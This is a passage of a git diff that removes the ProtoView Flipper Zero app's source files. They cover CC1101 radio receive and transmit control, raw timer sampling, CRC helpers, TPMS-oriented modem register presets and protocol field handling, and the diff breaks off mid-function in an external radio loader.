subghz_devices_flush_rx(app->radio_device); - subghz_devices_set_rx(app->radio_device); - - if(!app->txrx->debug_timer_sampling) { - subghz_devices_start_async_rx(app->radio_device, protoview_rx_callback, NULL); - } else { - furi_hal_gpio_init( - subghz_devices_get_data_gpio(app->radio_device), - GpioModeInput, - GpioPullNo, - GpioSpeedLow); - raw_sampling_worker_start(app); - } - app->txrx->txrx_state = TxRxStateRx; - return value; -} - -/* Stop receiving (if active) and put the radio on idle state. */ -void radio_rx_end(ProtoViewApp* app) { - furi_assert(app); - - if(app->txrx->txrx_state == TxRxStateRx) { - if(!app->txrx->debug_timer_sampling) { - subghz_devices_stop_async_rx(app->radio_device); - } else { - raw_sampling_worker_stop(app); - } - } - subghz_devices_idle(app->radio_device); - app->txrx->txrx_state = TxRxStateIDLE; -} - -/* Put radio on sleep. */ -void radio_sleep(ProtoViewApp* app) { - furi_assert(app); - if(app->txrx->txrx_state == TxRxStateRx) { - /* Stop the asynchronous receiving system before putting the - * chip into sleep. */ - radio_rx_end(app); - } - subghz_devices_sleep(app->radio_device); - app->txrx->txrx_state = TxRxStateSleep; -} - -/* =============================== Transmission ============================= */ - -/* This function suspends the current RX state, switches to TX mode, - * transmits the signal provided by the callback data_feeder, and later - * restores the RX state if there was one. */ -void radio_tx_signal(ProtoViewApp* app, FuriHalSubGhzAsyncTxCallback data_feeder, void* ctx) { - TxRxState oldstate = app->txrx->txrx_state; - - if(oldstate == TxRxStateRx) radio_rx_end(app); - radio_begin(app); - - subghz_devices_idle(app->radio_device); - uint32_t value = subghz_devices_set_frequency(app->radio_device, app->frequency); - FURI_LOG_E(TAG, "Switched to frequency: %lu", value); - - subghz_devices_start_async_tx(app->radio_device, data_feeder, ctx); - while(!subghz_devices_is_async_complete_tx(app->radio_device)) furi_delay_ms(10); - subghz_devices_stop_async_tx(app->radio_device); - subghz_devices_idle(app->radio_device); - - radio_begin(app); - if(oldstate == TxRxStateRx) radio_rx(app); -} - -/* ============================= Raw sampling mode ============================= - * This is a special mode that uses a high frequency timer to sample the - * CC1101 pin directly. It's useful for debugging purposes when we want - * to get the raw data from the chip and completely bypass the subghz - * Flipper system. - * ===========================================================================*/ - -void protoview_timer_isr(void* ctx) { - ProtoViewApp* app = ctx; - - bool level = furi_hal_gpio_read(subghz_devices_get_data_gpio(app->radio_device)); - if(app->txrx->last_g0_value != level) { - uint32_t now = DWT->CYCCNT; - uint32_t dur = now - app->txrx->last_g0_change_time; - dur /= furi_hal_cortex_instructions_per_microsecond(); - if(dur > 15000) dur = 15000; - raw_samples_add(RawSamples, app->txrx->last_g0_value, dur); - app->txrx->last_g0_value = level; - app->txrx->last_g0_change_time = now; - } - LL_TIM_ClearFlag_UPDATE(TIM2); -} - -void raw_sampling_worker_start(ProtoViewApp* app) { - UNUSED(app); - - furi_hal_bus_enable(FuriHalBusTIM2); - - LL_TIM_InitTypeDef tim_init = { - .Prescaler = 63, /* CPU frequency is ~64Mhz. */ - .CounterMode = LL_TIM_COUNTERMODE_UP, - .Autoreload = 5, /* Sample every 5 us */ - }; - - LL_TIM_Init(TIM2, &tim_init); - LL_TIM_SetClockSource(TIM2, LL_TIM_CLOCKSOURCE_INTERNAL); - LL_TIM_DisableCounter(TIM2); - LL_TIM_SetCounter(TIM2, 0); - furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, protoview_timer_isr, app); - LL_TIM_EnableIT_UPDATE(TIM2); - LL_TIM_EnableCounter(TIM2); - FURI_LOG_E(TAG, "Timer enabled"); -} - -void raw_sampling_worker_stop(ProtoViewApp* app) { - UNUSED(app); - FURI_CRITICAL_ENTER(); - LL_TIM_DisableCounter(TIM2); - LL_TIM_DisableIT_UPDATE(TIM2); - furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, NULL, NULL); - furi_hal_bus_disable(FuriHalBusTIM2); - FURI_CRITICAL_EXIT(); -} diff --git a/applications/external/protoview/appicon.png b/applications/external/protoview/appicon.png deleted file mode 100644 index fa7122515..000000000 Binary files a/applications/external/protoview/appicon.png and /dev/null differ diff --git a/applications/external/protoview/application.fam b/applications/external/protoview/application.fam deleted file mode 100644 index 75084b852..000000000 --- a/applications/external/protoview/application.fam +++ /dev/null @@ -1,13 +0,0 @@ -App( - appid="protoview", - name="ProtoView", - apptype=FlipperAppType.EXTERNAL, - entry_point="protoview_app_entry", - requires=["gui"], - stack_size=8 * 1024, - fap_icon="appicon.png", - fap_category="Sub-GHz", - fap_author="@antirez & (fixes by @xMasterX)", - fap_version="1.0", - fap_description="Digital signal detection, visualization, editing and reply tool", -) diff --git a/applications/external/protoview/crc.c b/applications/external/protoview/crc.c deleted file mode 100644 index e99786952..000000000 --- a/applications/external/protoview/crc.c +++ /dev/null @@ -1,36 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include -#include - -/* CRC8 with the specified initialization value 'init' and - * polynomial 'poly'. */ -uint8_t crc8(const uint8_t* data, size_t len, uint8_t init, uint8_t poly) { - uint8_t crc = init; - size_t i, j; - for(i = 0; i < len; i++) { - crc ^= data[i]; - for(j = 0; j < 8; j++) { - if((crc & 0x80) != 0) - crc = (uint8_t)((crc << 1) ^ poly); - else - crc <<= 1; - } - } - return crc; -} - -/* Sum all the specified bytes modulo 256. - * Initialize the sum with 'init' (usually 0). */ -uint8_t sum_bytes(const uint8_t* data, size_t len, uint8_t init) { - for(size_t i = 0; i < len; i++) init += data[i]; - return init; -} - -/* Perform the bitwise xor of all the specified bytes. - * Initialize xor value with 'init' (usually 0). */ -uint8_t xor_bytes(const uint8_t* data, size_t len, uint8_t init) { - for(size_t i = 0; i < len; i++) init ^= data[i]; - return init; -} diff --git a/applications/external/protoview/custom_presets.h b/applications/external/protoview/custom_presets.h deleted file mode 100644 index aa7ac23ad..000000000 --- a/applications/external/protoview/custom_presets.h +++ /dev/null @@ -1,317 +0,0 @@ -#include -/* ========================== DATA RATE SETTINGS =============================== - * - * This is how to configure registers MDMCFG3 and MDMCFG4. - * - * MDMCFG3 is the data rate mantissa, the exponent is in MDMCFG4, - * last 4 bits of the register. - * - * The rate (assuming 26Mhz crystal) is calculated as follows: - * - * ((256+MDMCFG3)*(2^MDMCFG4:0..3bits)) / 2^28 * 26000000. - * - * For instance for the default values of MDMCFG3[0..3] (34) and MDMCFG4 (12): - * - * ((256+34)*(2^12))/(2^28)*26000000 = 115051.2688000000, that is 115KBaud - * - * ============================ BANDWIDTH FILTER =============================== - * - * Bandwidth filter setting: - * - * BW filter as just 16 possibilities depending on how the first nibble - * (first 4 bits) of the MDMCFG4 bits are set. Instead of providing the - * formula, it is simpler to show all the values of the nibble and the - * corresponding bandwidth filter. - * - * 0 812khz - * 1 650khz - * 2 541khz - * 3 464khz - * 4 406khz - * 5 325khz - * 6 270khz - * 7 232khz - * 8 203khz - * 9 162khz - * a 135khz - * b 116khz - * c 102khz - * d 82 khz - * e 68 khz - * f 58 khz - * - * ============================== FSK DEVIATION ================================ - * - * FSK deviation is controlled by the DEVIATION register. In Ruby: - * - * dev = (26000000.0/2**17)*(8+(deviation&7))*(2**(deviation>>4&7)) - * - * deviation&7 (last three bits) is the deviation mantissa, while - * deviation>>4&7 (bits 6,5,4) are the exponent. - * - * Deviations values according to certain configuration of DEVIATION: - * - * 0x04 -> 2.380371 kHz - * 0x24 -> 9.521484 kHz - * 0x34 -> 19.042969 Khz - * 0x40 -> 25.390625 Khz - * 0x43 -> 34.912109 Khz - * 0x45 -> 41.259765 Khz - * 0x47 -> 47.607422 kHz - */ - -/* 20 KBaud, 2FSK, 28.56 kHz deviation, 325 Khz bandwidth filter. */ -static uint8_t protoview_subghz_tpms1_fsk_async_regs[][2] = { - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - {CC1101_PKTCTRL1, 0x04}, - - // // Modem Configuration - {CC1101_MDMCFG0, 0x00}, - {CC1101_MDMCFG1, 0x02}, - {CC1101_MDMCFG2, - 0x04}, // Format 2-FSK/FM, No preamble/sync, Disable (current optimized). Other code reading TPMS uses GFSK, but should be the same when in RX mode. - {CC1101_MDMCFG3, 0x93}, // Data rate is 20kBaud - {CC1101_MDMCFG4, 0x59}, // Rx bandwidth filter is 325 kHz - {CC1101_DEVIATN, 0x41}, // Deviation 28.56 kHz - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x16}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - {CC1101_AGCCTRL0, - 0x91}, //10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary - {CC1101_AGCCTRL1, - 0x00}, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - {CC1101_AGCCTRL2, 0x07}, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x10}, // Adjusts current TX LO buffer - {CC1101_FREND1, 0x56}, - - /* End */ - {0, 0}, - - /* CC1101 2FSK PATABLE. */ - {0xC0, 0}, - {0, 0}, - {0, 0}, - {0, 0}}; - -/* This is like the default Flipper OOK 640Khz bandwidth preset, but - * the bandwidth is changed to 10kBaud to accomodate TPMS frequency. */ -static const uint8_t protoview_subghz_tpms2_ook_async_regs[][2] = { - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* FIFO and internals */ - {CC1101_FIFOTHR, 0x07}, // The only important bit is ADC_RETENTION - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - // Modem Configuration - {CC1101_MDMCFG0, 0x00}, // Channel spacing is 25kHz - {CC1101_MDMCFG1, 0x00}, // Channel spacing is 25kHz - {CC1101_MDMCFG2, 0x30}, // Format ASK/OOK, No preamble/sync - {CC1101_MDMCFG3, 0x93}, // Data rate is 10kBaud - {CC1101_MDMCFG4, 0x18}, // Rx BW filter is 650.000kHz - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x18}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - {CC1101_AGCCTRL0, - 0x91}, // 10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary - {CC1101_AGCCTRL1, - 0x0}, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - {CC1101_AGCCTRL2, 0x07}, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x11}, // Adjusts current TX LO buffer + high is PATABLE[1] - {CC1101_FREND1, 0xB6}, // - - /* End */ - {0, 0}, - - /* CC1101 OOK PATABLE. */ - {0, 0xC0}, - {0, 0}, - {0, 0}, - {0, 0}}; - -/* GFSK 19k dev, 325 Khz filter, 20kBaud. Different AGI settings. - * Works well with Toyota. */ -static uint8_t protoview_subghz_tpms3_gfsk_async_regs[][2] = { - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - {CC1101_PKTCTRL1, 0x04}, - - // // Modem Configuration - {CC1101_MDMCFG0, 0x00}, - {CC1101_MDMCFG1, 0x02}, // 2 is the channel spacing exponet: not used - {CC1101_MDMCFG2, 0x10}, // GFSK without any other check - {CC1101_MDMCFG3, 0x93}, // Data rate is 20kBaud - {CC1101_MDMCFG4, 0x59}, // Rx bandwidth filter is 325 kHz - {CC1101_DEVIATN, 0x34}, // Deviation 19.04 Khz. - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x16}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - {CC1101_AGCCTRL0, 0x80}, - {CC1101_AGCCTRL1, 0x58}, - {CC1101_AGCCTRL2, 0x87}, - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x10}, // Adjusts current TX LO buffer - {CC1101_FREND1, 0x56}, - - /* End */ - {0, 0}, - - /* CC1101 2FSK PATABLE. */ - {0xC0, 0}, - {0, 0}, - {0, 0}, - {0, 0}}; - -/* 40 KBaud, 2FSK, 28 kHz deviation, 270 Khz bandwidth filter. */ -static uint8_t protoview_subghz_40k_fsk_async_regs[][2] = { - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - {CC1101_PKTCTRL1, 0x04}, - - // // Modem Configuration - {CC1101_MDMCFG0, 0x00}, - {CC1101_MDMCFG1, 0x02}, - {CC1101_MDMCFG2, - 0x04}, // Format 2-FSK/FM, No preamble/sync, Disable (current optimized). Other code reading TPMS uses GFSK, but should be the same when in RX mode. - {CC1101_MDMCFG3, 0x93}, // Data rate is 40kBaud - {CC1101_MDMCFG4, 0x6A}, // 6 = BW filter 270kHz, A = Data rate exp - {CC1101_DEVIATN, 0x41}, // Deviation 28kHz - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x16}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - {CC1101_AGCCTRL0, - 0x91}, //10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary - {CC1101_AGCCTRL1, - 0x00}, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - {CC1101_AGCCTRL2, 0x07}, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x10}, // Adjusts current TX LO buffer - {CC1101_FREND1, 0x56}, - - /* End */ - {0, 0}, - - /* CC1101 2FSK PATABLE. */ - {0xC0, 0}, - {0, 0}, - {0, 0}, - {0, 0}}; - -/* This is like the default Flipper OOK 640Khz bandwidth preset, but - * the bandwidth is changed to 40kBaud, in order to receive signals - * with a pulse width ~25us/30us. */ -static const uint8_t protoview_subghz_40k_ook_async_regs[][2] = { - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* FIFO and internals */ - {CC1101_FIFOTHR, 0x07}, // The only important bit is ADC_RETENTION - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - // Modem Configuration - {CC1101_MDMCFG0, 0x00}, // Channel spacing is 25kHz - {CC1101_MDMCFG1, 0x00}, // Channel spacing is 25kHz - {CC1101_MDMCFG2, 0x30}, // Format ASK/OOK, No preamble/sync - {CC1101_MDMCFG3, 0x93}, // Data rate is 40kBaud - {CC1101_MDMCFG4, 0x1A}, // Rx BW filter is 650.000kHz - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x18}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - {CC1101_AGCCTRL0, - 0x91}, // 10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary - {CC1101_AGCCTRL1, - 0x0}, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - {CC1101_AGCCTRL2, 0x07}, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x11}, // Adjusts current TX LO buffer + high is PATABLE[1] - {CC1101_FREND1, 0xB6}, // - - /* End */ - {0, 0}, - - /* CC1101 OOK PATABLE. */ - {0, 0xC0}, - {0, 0}, - {0, 0}, - {0, 0}}; diff --git a/applications/external/protoview/fields.c b/applications/external/protoview/fields.c deleted file mode 100644 index 18dee6502..000000000 --- a/applications/external/protoview/fields.c +++ /dev/null @@ -1,369 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Protocol fields implementation. */ - -#include "app.h" - -/* Create a new field of the specified type. Without populating its - * type-specific value. */ -static ProtoViewField* field_new(ProtoViewFieldType type, const char* name) { - ProtoViewField* f = malloc(sizeof(*f)); - f->type = type; - f->name = strdup(name); - return f; -} - -/* Free only the auxiliary data of a field, used to represent the - * current type. Name and type are not touched. */ -static void field_free_aux_data(ProtoViewField* f) { - switch(f->type) { - case FieldTypeStr: - free(f->str); - break; - case FieldTypeBytes: - free(f->bytes); - break; - default: - break; // Nothing to free for other types. - } -} - -/* Free a field an associated data. */ -static void field_free(ProtoViewField* f) { - field_free_aux_data(f); - free(f->name); - free(f); -} - -/* Return the type of the field as string. */ -const char* field_get_type_name(ProtoViewField* f) { - switch(f->type) { - case FieldTypeStr: - return "str"; - case FieldTypeSignedInt: - return "int"; - case FieldTypeUnsignedInt: - return "uint"; - case FieldTypeBinary: - return "bin"; - case FieldTypeHex: - return "hex"; - case FieldTypeBytes: - return "bytes"; - case FieldTypeFloat: - return "float"; - } - return "unknown"; -} - -/* Set a string representation of the specified field in buf. */ -int field_to_string(char* buf, size_t len, ProtoViewField* f) { - switch(f->type) { - case FieldTypeStr: - return snprintf(buf, len, "%s", f->str); - case FieldTypeSignedInt: - return snprintf(buf, len, "%lld", (long long)f->value); - case FieldTypeUnsignedInt: - return snprintf(buf, len, "%llu", (unsigned long long)f->uvalue); - case FieldTypeBinary: { - uint64_t test_bit = (1 << (f->len - 1)); - uint64_t idx = 0; - while(idx < len - 1 && test_bit) { - buf[idx++] = (f->uvalue & test_bit) ? '1' : '0'; - test_bit >>= 1; - } - buf[idx] = 0; - return idx; - } - case FieldTypeHex: - return snprintf(buf, len, "%*llX", (int)(f->len + 7) / 8, f->uvalue); - case FieldTypeFloat: - return snprintf(buf, len, "%.*f", (int)f->len, (double)f->fvalue); - case FieldTypeBytes: { - uint64_t idx = 0; - while(idx < len - 1 && idx < f->len) { - const char* charset = "0123456789ABCDEF"; - uint32_t nibble = idx & 1 ? (f->bytes[idx / 2] & 0xf) : (f->bytes[idx / 2] >> 4); - buf[idx++] = charset[nibble]; - } - buf[idx] = 0; - return idx; - } - } - return 0; -} - -/* Set the field value from its string representation in 'buf'. - * The field type must already be set and the field should be valid. - * The string represenation 'buf' must be null termianted. Note that - * even when representing binary values containing zero, this values - * are taken as representations, so that would be the string "00" as - * the Bytes type representation. - * - * The function returns true if the filed was successfully set to the - * new value, otherwise if the specified value is invalid for the - * field type, false is returned. */ -bool field_set_from_string(ProtoViewField* f, char* buf, size_t len) { - // Initialize values to zero since the Flipper sscanf() implementation - // is fuzzy... may populate only part of the value. - long long val = 0; - unsigned long long uval = 0; - float fval = 0; - - switch(f->type) { - case FieldTypeStr: - free(f->str); - f->len = len; - f->str = malloc(len + 1); - memcpy(f->str, buf, len + 1); - break; - case FieldTypeSignedInt: - if(!sscanf(buf, "%lld", &val)) return false; - f->value = val; - break; - case FieldTypeUnsignedInt: - if(!sscanf(buf, "%llu", &uval)) return false; - f->uvalue = uval; - break; - case FieldTypeBinary: { - uint64_t bit_to_set = (1 << (len - 1)); - uint64_t idx = 0; - uval = 0; - while(buf[idx]) { - if(buf[idx] == '1') - uval |= bit_to_set; - else if(buf[idx] != '0') - return false; - bit_to_set >>= 1; - idx++; - } - f->uvalue = uval; - } break; - case FieldTypeHex: - if(!sscanf(buf, "%llx", &uval) && !sscanf(buf, "%llX", &uval)) return false; - f->uvalue = uval; - break; - case FieldTypeFloat: - if(!sscanf(buf, "%f", &fval)) return false; - f->fvalue = fval; - break; - case FieldTypeBytes: { - if(len > f->len) return false; - uint64_t idx = 0; - while(buf[idx]) { - uint8_t nibble = 0; - char c = toupper(buf[idx]); - if(c >= '0' && c <= '9') - nibble = c - '0'; - else if(c >= 'A' && c <= 'F') - nibble = 10 + (c - 'A'); - else - return false; - - if(idx & 1) { - f->bytes[idx / 2] = (f->bytes[idx / 2] & 0xF0) | nibble; - } else { - f->bytes[idx / 2] = (f->bytes[idx / 2] & 0x0F) | (nibble << 4); - } - idx++; - } - buf[idx] = 0; - } break; - } - return true; -} - -/* Set the 'dst' field to contain a copy of the value of the 'src' - * field. The field name is not modified. */ -void field_set_from_field(ProtoViewField* dst, ProtoViewField* src) { - field_free_aux_data(dst); - dst->type = src->type; - dst->len = src->len; - switch(src->type) { - case FieldTypeStr: - dst->str = strdup(src->str); - break; - case FieldTypeBytes: - dst->bytes = malloc(src->len); - memcpy(dst->bytes, src->bytes, dst->len); - break; - case FieldTypeSignedInt: - dst->value = src->value; - break; - case FieldTypeUnsignedInt: - case FieldTypeBinary: - case FieldTypeHex: - dst->uvalue = src->uvalue; - break; - case FieldTypeFloat: - dst->fvalue = src->fvalue; - break; - } -} - -/* Increment the specified field value of 'incr'. If the field type - * does not support increments false is returned, otherwise the - * action is performed. */ -bool field_incr_value(ProtoViewField* f, int incr) { - switch(f->type) { - case FieldTypeStr: - return false; - case FieldTypeSignedInt: { - /* Wrap around depending on the number of bits (f->len) - * the integer was declared to have. */ - int64_t max = (1ULL << (f->len - 1)) - 1; - int64_t min = -max - 1; - int64_t v = (int64_t)f->value + incr; - if(v > max) v = min + (v - max - 1); - if(v < min) v = max + (v - min + 1); - f->value = v; - break; - } - case FieldTypeBinary: - case FieldTypeHex: - case FieldTypeUnsignedInt: { - /* Wrap around like for the unsigned case, but here - * is simpler. */ - uint64_t max = (1ULL << f->len) - 1; // Broken for 64 bits. - uint64_t uv = (uint64_t)f->value + incr; - if(uv > max) uv = uv & max; - f->uvalue = uv; - break; - } - case FieldTypeFloat: - f->fvalue += incr; - break; - case FieldTypeBytes: { - // For bytes we only support single unit increments. - if(incr != -1 && incr != 1) return false; - for(int j = f->len - 1; j >= 0; j--) { - uint8_t nibble = (j & 1) ? (f->bytes[j / 2] & 0x0F) : ((f->bytes[j / 2] & 0xF0) >> 4); - - nibble += incr; - nibble &= 0x0F; - - f->bytes[j / 2] = (j & 1) ? ((f->bytes[j / 2] & 0xF0) | nibble) : - ((f->bytes[j / 2] & 0x0F) | (nibble << 4)); - - /* Propagate the operation on overflow of this nibble. */ - if((incr == 1 && nibble == 0) || (incr == -1 && nibble == 0xf)) { - continue; - } - break; // Otherwise stop the loop here. - } - break; - } - } - return true; -} - -/* Free a field set and its contained fields. */ -void fieldset_free(ProtoViewFieldSet* fs) { - for(uint32_t j = 0; j < fs->numfields; j++) field_free(fs->fields[j]); - free(fs->fields); - free(fs); -} - -/* Allocate and init an empty field set. */ -ProtoViewFieldSet* fieldset_new(void) { - ProtoViewFieldSet* fs = malloc(sizeof(*fs)); - fs->numfields = 0; - fs->fields = NULL; - return fs; -} - -/* Append an already allocated field at the end of the specified field set. */ -static void fieldset_add_field(ProtoViewFieldSet* fs, ProtoViewField* field) { - fs->numfields++; - fs->fields = realloc(fs->fields, sizeof(ProtoViewField*) * fs->numfields); - fs->fields[fs->numfields - 1] = field; -} - -/* Allocate and append an integer field. */ -void fieldset_add_int(ProtoViewFieldSet* fs, const char* name, int64_t val, uint8_t bits) { - ProtoViewField* f = field_new(FieldTypeSignedInt, name); - f->value = val; - f->len = bits; - fieldset_add_field(fs, f); -} - -/* Allocate and append an unsigned field. */ -void fieldset_add_uint(ProtoViewFieldSet* fs, const char* name, uint64_t uval, uint8_t bits) { - ProtoViewField* f = field_new(FieldTypeUnsignedInt, name); - f->uvalue = uval; - f->len = bits; - fieldset_add_field(fs, f); -} - -/* Allocate and append a hex field. This is an unsigned number but - * with an hex representation. */ -void fieldset_add_hex(ProtoViewFieldSet* fs, const char* name, uint64_t uval, uint8_t bits) { - ProtoViewField* f = field_new(FieldTypeHex, name); - f->uvalue = uval; - f->len = bits; - fieldset_add_field(fs, f); -} - -/* Allocate and append a bin field. This is an unsigned number but - * with a binary representation. */ -void fieldset_add_bin(ProtoViewFieldSet* fs, const char* name, uint64_t uval, uint8_t bits) { - ProtoViewField* f = field_new(FieldTypeBinary, name); - f->uvalue = uval; - f->len = bits; - fieldset_add_field(fs, f); -} - -/* Allocate and append a string field. The string 's' does not need to point - * to a null terminated string, but must have at least 'len' valid bytes - * starting from the pointer. The field object will be correctly null - * terminated. */ -void fieldset_add_str(ProtoViewFieldSet* fs, const char* name, const char* s, size_t len) { - ProtoViewField* f = field_new(FieldTypeStr, name); - f->len = len; - f->str = malloc(len + 1); - memcpy(f->str, s, len); - f->str[len] = 0; - fieldset_add_field(fs, f); -} - -/* Allocate and append a bytes field. Note that 'count' is specified in - * nibbles (bytes*2). */ -void fieldset_add_bytes( - ProtoViewFieldSet* fs, - const char* name, - const uint8_t* bytes, - uint32_t count_nibbles) { - uint32_t numbytes = (count_nibbles + count_nibbles % 2) / 2; - ProtoViewField* f = field_new(FieldTypeBytes, name); - f->bytes = malloc(numbytes); - memcpy(f->bytes, bytes, numbytes); - f->len = count_nibbles; - fieldset_add_field(fs, f); -} - -/* Allocate and append a float field. */ -void fieldset_add_float( - ProtoViewFieldSet* fs, - const char* name, - float val, - uint32_t digits_after_dot) { - ProtoViewField* f = field_new(FieldTypeFloat, name); - f->fvalue = val; - f->len = digits_after_dot; - fieldset_add_field(fs, f); -} - -/* For each field of the destination filedset 'dst', look for a matching - * field name/type in the source fieldset 'src', and if one is found copy - * its value into the 'dst' field. */ -void fieldset_copy_matching_fields(ProtoViewFieldSet* dst, ProtoViewFieldSet* src) { - for(uint32_t j = 0; j < dst->numfields; j++) { - for(uint32_t i = 0; i < src->numfields; i++) { - if(dst->fields[j]->type == src->fields[i]->type && - !strcmp(dst->fields[j]->name, src->fields[i]->name)) { - field_set_from_field(dst->fields[j], src->fields[i]); - } - } - } -} diff --git a/applications/external/protoview/helpers/radio_device_loader.c b/applications/external/protoview/helpers/radio_device_loader.c deleted file mode 100644 index d2cffde58..000000000 --- a/applications/external/protoview/helpers/radio_device_loader.c +++ /dev/null @@ -1,64 +0,0 @@ -#include "radio_device_loader.h" - -#include -#include - -static void radio_device_loader_power_on() { - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - //CC1101 power-up time - furi_delay_ms(10); - } -} - -static void radio_device_loader_power_off() { - if(furi_hal_power_is_otg_enabled()) furi_hal_power_disable_otg(); -} - -bool radio_device_loader_is_connect_external(const char* name) { - bool is_connect = false; - bool is_otg_enabled = furi_hal_power_is_otg_enabled(); - - if(!is_otg_enabled) { - radio_device_loader_power_on(); - } - - const SubGhzDevice* device = subghz_devices_get_by_name(name); - if(device) { - is_connect = subghz_devices_is_connect(device); - } - - if(!is_otg_enabled) { - radio_device_loader_power_off(); - } - return is_connect; -} - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type) { - const SubGhzDevice* radio_device; - - if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 && - 